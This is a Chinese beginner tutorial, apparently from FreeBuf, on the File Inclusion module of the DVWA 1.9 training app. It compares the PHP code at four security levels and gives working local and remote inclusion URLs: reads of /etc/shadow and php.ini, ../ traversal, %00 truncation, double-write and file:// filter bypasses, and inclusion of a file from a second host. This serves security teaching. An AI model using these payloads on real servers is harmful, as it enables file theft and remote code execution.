剑客
关注科技互联网

新手指南:DVWA-1.9全级别教程之File Inclusion

*本文原创作者:lonehand,转载须注明来自FreeBuf.COM

目前,最新的 DVWA 已经更新到 1.9 版本http://www.dvwa.co.uk/,而网上的教程大多停留在旧版本,且没有针对 DVWA high 级别的教程,因此萌发了一个撰写新手教程的想法,错误的地方还请大家指正。

DVWA 简介

DVWA Damn Vulnerable Web Application )是一个用来进行安全脆弱性鉴定的 PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助 web 开发者更好的理解 web 应用安全防范的过程。

DVWA共有十个模块,分别是

Brute Force (暴力(破解))

Command Injection (命令行注入)

CSRF (跨站请求伪造)

File Inclusion (文件包含)

File Upload (文件上传)

Insecure CAPTCHA (不安全的验证码)

SQL Injection SQL 注入)

SQL Injection Blind )( SQL 盲注)

XSS Reflected )(反射型跨站脚本)

XSS Stored )(存储型跨站脚本)

需要注意的是, DVWA 1.9 的代码分为四种安全级别: Low Medium High Impossible 。初学者可以通过比较四种级别的代码,接触到一些 PHP 代码审计的内容。

新手指南:DVWA-1.9全级别教程之File Inclusion

DVWA 的搭建

Freebuf 上的这篇文章《新手指南:手把手教你如何搭建自己的渗透测试环境》( http://www.freebuf.com/sectool/102661.html )已经写得非常好了,在这里就不赘述了。

之前模块的相关内容

Brute Force

Command Injection

CSRF

本文介绍的是File Inclusion模块的相关内容,后续教程会在之后的文章中给出。

File Inclusion

File Inclusion ,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过 php 的某些特性函数( include() require() include_once() require_once() )利用 url 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。

新手指南:DVWA-1.9全级别教程之File Inclusion

下面对四种级别的代码进行分析。

Low

服务器端核心代码

<php
//Thepagewewishtodisplay
$file=$_GET['page'];
>

可以看到,服务器端对 page 参数没有做任何的过滤跟检查。

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是 php ,都会尝试当做 php 文件执行,如果文件内容确为 php ,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

新手指南:DVWA-1.9全级别教程之File Inclusion

点击 file1.php 后,显示如下

新手指南:DVWA-1.9全级别教程之File Inclusion

而现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的。

漏洞利用

1.本地文件包含

构造url

http://192.168.153.130/dvwa/vulnerabilities/fi/page=/etc/shadow

新手指南:DVWA-1.9全级别教程之File Inclusion

报错,显示没有这个文件,说明不是服务器系统不是Linux ,但同时暴露了服务器文件的绝对路径 C:/xampp/htdocs

构造 url (绝对路径)

http://192.168.153.130/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

成功读取了服务器的 php.ini 文件

新手指南:DVWA-1.9全级别教程之File Inclusion

构造url(相对路径)

http://192.168.153.130/dvwa/vulnerabilities/fi/page=../../../../../../../../../xampp/htdocs/dvwa/php.ini

加这么多 ../ 是为了保证到达服务器的 C 盘根目录,可以看到读取是成功的。

新手指南:DVWA-1.9全级别教程之File Inclusion

同时我们看到,配置文件中的 Magic_quote_gpc 选项为 off 。在 php 版本小于 5.3.4 的服务器中,当 Magic_quote_gpc 选项为 off 时,我们可以在文件名中使用 %00进行 截断,也就是说文件名中 %00 后的内容不会被识别,即下面两个 url 是完全等效的。

可惜的是由于本次实验环境的 php 版本为 5.4.31 ,所以无法进行验证。

新手指南:DVWA-1.9全级别教程之File Inclusion

使用 %00 截断可以绕过某些过滤规则,例如要求 page 参数的后缀必须为 php ,这时链接 A 会读取失败,而链接 B 可以绕过规则成功读取。

2.远程文件包含

当服务器的 php 配置中,选项 allow_url_fopen allow_url_include 为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

在远程服务器 192.168.5.12 上传一个 phpinfo.txt 文件,内容如下

新手指南:DVWA-1.9全级别教程之File Inclusion

构造url

http://192.168.153.130/dvwa/vulnerabilities/fi/page=http://192.168.5.12/phpinfo.txt

成功在服务器上执行了 phpinfo 函数

新手指南:DVWA-1.9全级别教程之File Inclusion

为了增加隐蔽性,可以对 http://192.168.5.12/phpinfo.txt 进行编码

http://192.168.153.130/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%2e%31%32%2f%70%68%70%69%6e%66%6f%2e%74%78%74

同样可以执行成功

新手指南:DVWA-1.9全级别教程之File Inclusion

Medium

服务器端核心代码

<php

//Thepagewewishtodisplay
$file=$_GET['page'];

//Inputvalidation
$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","../""),"",$file);

>

可以看到, Medium 级别的代码增加了 str_replace 函数,对 page 参数进行了一定的处理,将 ”http:// ”、”https://”、 ” ../”、”../”替换为空字符,即删除。

漏洞利用

使用 str_replace 函数是极其不安全的,因为可以使用双写绕过替换规则。

例如 page= hthttp://tp://192.168.5.12/phpinfo.txt 时, str_replace 函数会将 http:// 删除,于是page= http://192.168.5.12/phpinfo.txt ,成功执行远程命令。

同时,因为替换的只是../ ”、“ ../ ”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

1.本地文件包含

http://192.168.153.130/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini

读取配置文件成功

新手指南:DVWA-1.9全级别教程之File Inclusion

http://192.168.153.130/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

绝对路径不受任何影响,读取成功

新手指南:DVWA-1.9全级别教程之File Inclusion

2.远程文件包含

http://192.168.153.130/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt

远程执行命令成功

新手指南:DVWA-1.9全级别教程之File Inclusion

http://192.168.153.130/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%2e%31%32%2f%70%68%70%69%6e%66%6f%2e%74%78%74

经过编码后的 url 不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的 page 参数依然是 http://192.168.5.12/phpinfo.txt ,因此读取失败。

新手指南:DVWA-1.9全级别教程之File Inclusion

High

服务器端核心代码

<php

//Thepagewewishtodisplay
$file=$_GET['page'];

//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php"){
   //Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}

>

可以看到, High 级别的代码使用了 fnmatch 函数检查 page 参数,要求 page 参数的开头必须是 file ,服务器才会去包含相应的文件。

漏洞利用

High 级别的代码规定只能包含 file 开头的文件,看似安全,不幸的是我们依然可以利用 file 协议绕过防护策略。 file 协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是 file 协议,如下图。

新手指南:DVWA-1.9全级别教程之File Inclusion

构造url

http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

成功读取了服务器的配置文件

新手指南:DVWA-1.9全级别教程之File Inclusion

至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为 php 的文件,然后再利用 file 协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

Impossible

服务器端核心代码

<php
//Thepagewewishtodisplay
$file=$_GET['page'];

//Onlyallowinclude.phporfile{1..3}.php
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}

>

可以看到, Impossible 级别的代码使用了白名单机制进行防护,简单粗暴, page参数 必须为“ include.php ”、“ file1.php ”、“ file2.php ”、“ file3.php ”之一,彻底杜绝了文件包含漏洞。

*本文原创作者:lonehand,转载须注明来自FreeBuf.COM

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址